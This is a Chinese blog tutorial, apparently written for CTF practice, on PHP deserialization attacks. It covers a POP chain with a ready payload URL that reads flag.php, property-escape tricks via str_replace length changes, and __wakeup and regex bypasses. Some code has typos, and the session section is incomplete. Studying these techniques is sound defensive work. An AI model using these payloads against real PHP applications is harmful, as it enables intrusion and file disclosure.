php反序列化(2)

一.pop链

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”,即pop(property oriented programming)。

pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种playload.

二.poc编写

poc (proof of concept)中文翻译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。编写一段不完整的程序,获取所需的序列化字符串。

来看一下一道反序列化例题

<?php
    class modifier{
    private $var;                       //注意私有属性只能在里面赋值。
    public function append($value){    //1
        include($value);              //include存在文件包含点
        echo $flag;}
        public function __invoke(){
            $this->append($this->var);  //将var赋值包含,flag.php。但是要触发invoke才行。触发invoke需要将对象当做函数调用
        }
    }


class show{
    public $source;
    public $str;
    public function __tostring(){
        return $this->str->source; //3 可以发现这里有两次调用,可以同过实例化str为test对象,而test中不存在source
    }                              //这里又需要tostring,要把对象当字符串,找echo(输出字符串)
    public function __wakeup(){
        echo $this->source;     //4 将source实例化成show可以出发tostring,这里又要触发wakeup,反序列化前触发。
    }
}

class test{
    public $p;
    public function __construct(){
    $this->p=array();
    }
    public function __get($get){
        $function = $this->p;
        return $function();        //2 发现这里有函数调用,所以将$function实例化成对象成modifier,然而这里需要                           //
    }                              //这里有需要触发get,get需要调用不存在的成员属性(找可以操作的调用)
}

if(isset($_GRT['pop'])){
    unserialize($_GET['pop']);
}
?>

这里我在旁边做了注释,其实就是思路。一般pop链题目比较绕,可以做一些记号让思路更清晰一点。

以上过程明白后就需要构造poc了。获得序列化的字符串,当然可以手敲poc,但容易错且繁杂。

这里我选择直接输出出来。

$mod = new modifier();
$test = new test();
$show = new show();
$test -> p=$mod;
$show ->str=$test;
$show ->source=$show;
echo serialize($show); //获得序列化字符串

注意:这里需要先给modifier类中var赋值 private $var = 'flag.php' ;(私有属性只能在类里面赋值,无法外部引用赋值)

最后传参构造payload:    url(题目路径)?pop=O:4:"show":2:{s:6:"source";r:1;s:3:"str";O:4:"test":1:{s:1:"p";O:8:"modifier":1:{s:13:"%00modifier%00var";s:8:"flag.php";}}}

如果这里不知道为什么加%00请看php反序列化(1)-CSDN博客

上传成功,得到flag. 

正常情况下都是反推过程。

三. 反序列化逃逸

(1)反序列化分隔符

反序列化以 ;}结束,后面的字符串不影响正常的反序列化。

(2)逃逸基础

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列的字符串变多或者变少的时候有可能存在反序列化属性逃逸。

举个例子:

(1)

<?php
    class keep{
    var $a = "hr";
    }

    echo serialize(new keep());

    $b = 'O:4:"keep":2:{s:1:"a";s:2:"hr";s:1:"b";s:3:"jzy";}';
    var_dump(unserialize($b));
?>

可见反序列化字符串可控。

注意:成员属性不对应和数字个数不对应的话都是不能进行反序列化的。

(2) 

<?php
    class keep{
    var $a = "hr";
    var $c = "beauty";
   }

    echo serialize(new keep());

    $b = 'O:4:"keep":2:{s:1:"a";s:2:"hr";s:1:"b";s:3:"jzy";}';
    var_dump(unserialize($b));
?>

a,b是从反序列化中获取的。c是从类中获取的。

(3) 

<?php
    class keep{
    var $a = "hr";
    var $c = "beauty";
   }

    echo serialize(new keep());

    $b = 'O:4:"keep":2:{s:1:"a";s:3:"hhr";s:1:"b";s:3:"jzy";}';
    var_dump(unserialize($b));

?>

 a的属性值与反序列化字符串一致。

(4) 格式(字符个数要匹配相依值,几个类就几个,多长就多长)

满足上述的条件后面加的东西并不会影响反序列化,注意长度,也就是前面都没有问题的情况下;}才是结束符。

<?php
    class A{
    public $v1 = 'a';  
    }
    echo serialize(new A());
        //O:1:"A":1:{s:2:"v1";s:1:"a";}
    $b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}' ;//bool(false)
    $b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}';//正常执行
    $b = 'O:1:"A":2:{s:22:"v1";s:1:"a";s:2:"v2";N;}';//bool(false)
    var_dump(unserialize($b));
??
 (3)属性逃逸

一般在数据先经过一次serialize再经过unserialize,在这个中间进行反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸。

------- 减少

<?php
    class A{
    public $v1 = "nihaosystem()";
    public $v2 = "123";
}
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}
$data = str_replace("system()","",$data);
echo $data;
//O:1:"A":2:{s:2:"v1";s:13:"nihao";s:2:"v2";s:3:"123";}
?>

现在 O:1:"A":2:{s:2:"v1";s:13:"nihao";s:2:"v2";s:3:"123";}  这个字符串已经不能成功反序列化了(后面格式错误),红色部分已经被吃了(当做了字符串的一部分)。

<?php
    class A{
    public $v1 = "nihaosystem()";
    public $v2 = "123";
}

$data = serialize(new A());
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

以这段代码为例,逃逸一个属性v3值为drama.

先获取了原序列化字符串

"O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}" 

构造poc 

//目标 $v3 = "drama";  格式: s:2:"v3";s:5:"drama"; //21个
//一个system()吞8个   ";s:2:"v2";s:3:"123  //19个
"O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}"
//payload ";s:2:"v2";s:24:"123 20个
//4个system(),要吞32个 ,最终一共要吞 20个 如果吞多了就在123那补就行,少了就加system(),然后补就行 这里补32-20=12
"O:1:"A":2:{s:2:"v1";s:37:"nihaosystem()system()system()system()";s:2:"v2";s:36:"123123123123123";s:2:"v3";s:5:"drama";}"

成功实现

//"O:1:"A":2:{s:2:"v1";s:37:"nihaosystem()system()system()system()";s:2:"v2";s:36:"123123123123123";s:2:"v3";s:5:"drama";}"
class A{
    //public $v1 = "nihaosystem()";
    //public $v2 = "123";
    public $v1 = "nihaosystem()system()system()system()";
    public $v2 = '123123123123123";s:2:"v3";s:5:"drama';
}

$data = serialize(new A());
var_dump($data);
$data = str_replace("system()","",$data);
var_dump(unserialize($data));

结果

v1 v3从反序列化中来(poc构造语句)v2从类中来

 反序列化字符串逃逸:多逃逸出一个成员属性

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。

------- 增多

反序列化字符串增多逃逸:构造出一个逃逸成员属性

第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性。

<?php
    class A{
    public $v1 = 'ls';
    public $v2 = '123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data))
?>
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

当然是反序列化不出来的,替换过程格使发生错误。

假设想逃逸一个 $v3="zhiyuan";

构造poc

//目标$v3 = "zhiyuan";  格式:s:2:"v3";s:7:"zhiyuan";} 需要;}来终止语句 24个
//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

//可以知道一次替换吐一个
//";s:2:"v3";s:7:"zhiyuan";} 这些就是要吐出来的 26个  26*2+26=78
O:1:"A":2:{s:2:"v1";s:78:"lslslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:7:"zhiyuan";}";s:2:"v2";s:3:"123";}

赋值执行 

//属性逃逸 -增多
class A{
    //public $v1 = 'ls';
   //public $v2 = '123';
    public $v1 = 'lslslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:7:"zhiyuan";}';
    public $v2 = '123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data));

结果

 这些数据名与我最近的娱乐活动有关,不知道有没有同道中人,嘿嘿。

wakeup魔术方法绕过(当然还有其他的绕过方式)

版本:(php5<5.6.25)(php7<7.0.10)

如果存在wakeup魔术方法,调用unserialize()之前先调用__wakeup,但是系列化字符串中对象属性个数的值大于真实的属性个数时,会跳过wakeup()的执行。

如果遇到正则表达式过滤数字可考虑用 + 来连接如过滤o后面的数字

可以: o:+5:"nihao";

(4)引用
<?php
    include("flag.php");
class haha{
    var $enter;
    var $secret;
}
if(isset($_GET['pass'])){
    $pass = $_GET['pass'];
    $pass = str_replace('*','\*',$pass);
}
$over = unserialize($pass);
if($over){
    $o->secret ="*";
    if($over->secret === $o->enter)
        echo "congratulation!".$flag;
    else
        echo "oh no...";
}
else echo "are you trolling?";
?>

向这种就可以 :

class haha{

    var $enter;

    var $secret;

}

$a = new haha();

$a->enter =&$a->secret;

类似于c语言中的取地址,但c语言中的指针删了内存也删了,php中的引用删了内存不会

四.session反序列化漏洞

 (1)

如:haha|s:6:"123456";

 (2)

(3)php_binary:键名的长度对应的ascll字符+键名+经过serialize()函数序列化处理的值

例子: 

 两个页面,一个衣php_serialize格式保存,一个以php格式读取。

ps.Success is not final, failure is not fatal. It is the courage to continue that counts. 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/539935.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ES6基础(JavaScript基础)

本文用于检验学习效果&#xff0c;忘记知识就去文末的链接复习 1. ECMAScript介绍 ECMAScript是一种由Ecma国际&#xff08;前身为欧洲计算机制造商协会&#xff0c;英文名称是European Computer Manufacturers Association&#xff09;通过ECMA-262标准化的脚本程序设计语言…

python(使用循环显示四种模式)

代码&#xff1a; # 模式A n int(input("请输入三角形的层数")) for i in range(1,n 1):for j in range(1,i 1):print(f"{j}\t", end" ")print()# 模式B n int(input("请输入三角形的层数")) for i in range(1,n 1):for j in rang…

点击notify里面的通知,实现路由跳转

需求描述&#xff1a; 右上角有出来通知用户的有代办任务的消息框&#xff0c;点击消息框会跳转到代办路由页面。 duration:3000//弹窗显示时间, 毫秒 getElementsByClassName() – 获取所有指定类名的元素 效果展示&#xff1a;

32单片机入门持续更新中

配套资料为野火霸道V2 初识 STM32 4.1 什么是 STM32 STM32&#xff0c;从字面上来理解&#xff0c;ST 是意法半导体&#xff0c;M 是 Microelectronics 的缩写&#xff0c;32 表示 32 位&#xff0c;合起 来理解&#xff0c;STM32 就是指 ST 公司开发的 32 位微控制器。在如今…

7.基础乐理-重升重降号、等音扩展篇

在 6.升降号、黑键的音名 这里知道了一个等音的概念&#xff0c;就是指的是同一个键&#xff0c;同一个音&#xff0c;拥有不同的名字&#xff0c;这些名字互相称为等音 在音乐中除了升降号&#xff0c;还有两个东西&#xff0c;一个长得像 x 叫重&#xff08;chong&#xff09…

React Router 5 vs 6:使用上的主要差异与升级指南

React Router 5 的一些API 在 React Router 6 上有时可能找不到&#xff0c;可能会看到如下画面&#xff1a;export ‘useHistory’ was not found in ‘react-router-dom’ … React Router目前有两个大的版本&#xff0c;即React Router 5、6。React Router 6 在设计上更加简…

分布式系统接口限流方案

Git地址&#xff1a;https://gitee.com/deepjava/test-api-limit.git 方案一、 Guava工具包 实现单机版限流 具体代码见git 方案二、Redis lua脚本 实现分布式系统的接口限流 具体代码见git

纯css实现左右拖拽改变盒子大小

效果&#xff1a; 代码 <!DOCTYPE html> <html><head><meta http-equiv"Content-Type" content"text/html;charsetutf-8"><title></title><style>body {background-color: black;color: white;}.column {ove…

Linux C柔性数组(零长数组)

零长数组&#xff0c;大小为0&#xff0c;一般用在结构体中&#xff08;网络通信&#xff0c;省流&#xff09;&#xff0c;节省空间&#xff0c;方便善后&#xff08;相对于指针类型&#xff09;&#xff0c;我们通过具体例子进行理解。 常规定长数组 #include <stdio.h&…

MongoDB的安装和使用

1.MongoDB 安装 1.1 基于Docker安装 docker run --restartalways -d --name mongo -v /opt/mongodb/data:/data/db -p 27017:27017 mongo:4.0.6 1.2 客户端工具使用 MongoDB Compass | MongoDB 2.MongoDB 使用 2.1 引用依赖包 <dependency><groupId>org.sprin…

软件无线电系列——抽取器的多相滤波和内插器的多相滤波

本节目录 一、抽取器的多相滤波结构 二、内插器的多相滤波结构 三、一个抽取器多相滤波器的设计本节内容 从前面文章中可以知道&#xff0c;抽取器模型中的低通滤波器在抽取算子D之前&#xff0c;是在降低速率之前实现的&#xff1b;内插器模型中的低通滤波器在内插算子I之后&…

DedeCMS 未授权远程命令执行漏洞分析

dedecms介绍 DedeCMS是国内专业的PHP网站内容管理系统-织梦内容管理系统&#xff0c;采用XML名字空间风格核心模板&#xff1a;模板全部使用文件形式保存&#xff0c;对用户设计模板、网站升级转移均提供很大的便利&#xff0c;健壮的模板标签为站长DIY自己的网站提供了强有力…

[数据结构]—二叉树基本概念

1.树概念及结构 1.树的概念 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是因为它看起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的。 有一个特殊的结点&#xff…

计算机网络 子网掩码与划分子网

一、实验要求与内容 1、需拓扑图和两个主机的IP配置截图。 2、设置网络A内的主机IP地址为“192.168.班内学号.2”&#xff0c;子网掩码为“255.255.255.128”&#xff0c;网关为“192.168.班内学号.1”&#xff1b;设置网络B内的主机IP地址为“192.168.班内学号100.2”&#…

【LeetCode】二叉树类题目详解

二叉树 二叉树的理论基础 二叉树是结点的度数之和不超过2的树&#xff0c;二叉树总共有五种基本形态 二叉树的种类主要有&#xff1a; 满二叉树完全二叉树 二叉树的存储方式 顺序存储链式存储 二叉树的遍历方式 先序遍历&#xff08;深度优先搜索&#xff09;中序遍历&…

css里面的浮动笔记

参考链接&#xff1a; (图文详细)最通俗易懂的CSS 浮动float属性详解_css float简单理解-CSDN博客 经验分享&#xff1a;CSS浮动(float,clear)通俗讲解 - 杨元 - 博客园 (cnblogs.com) 要点&#xff1a; 浮动元素只会影响后面标准流的元素 &#xff0c;如果在它之前有一个标…

AndroidAutomotive模块介绍(三)CarService服务

前言 上一篇文档总结 Android Automotive 框架的 APP 和 API 部分内容&#xff0c;本篇文档将会继续根据 Android Automotive 框架结构&#xff0c;总结 Framework 层 CarService 服务的内容。 本文档对 Android Automotive Framework 层服务将会按照如下顺序展开描述&#x…

学习ArkTS -- 常用组件使用

学习ArkTS 使用Deveco studio写ArkTSImage: 图片显示组件1.声明Image组件并设置图片源2. 添加图片属性 Text: 文本显示组件1. 声明Text组件并设置文本内容2. 添加文本属性 TextInput&#xff1a;文本输入框1. 声明TextInput2. 添加属性和事件 Button 组件1. 声明Button组件&…

C++矩阵库Armadillo出现warning solve() system is singular错误的解决

本文介绍使用C 语言的矩阵库Armadillo时&#xff0c;出现报错system is singular; attempting approx solution的解决方法。 在之前的文章中&#xff0c;我们介绍过Armadillo矩阵库在Visual Studio软件C环境中的配置方法&#xff08;https://blog.csdn.net/zhebushibiaoshifu/a…

javaEE初阶——多线程(四)

T04BF &#x1f44b;专栏: 算法|JAVA|MySQL|C语言 &#x1faf5; 小比特 大梦想 此篇文章与大家分享多线程专题的第四篇(关于多线程代码案例中的单例模式) 如果有不足的或者错误的请您指出! 目录 九、多线程代码案例(单例模式)1.单例模式1.1饿汉模式1.2懒汉模式1.3使用场景1.4上…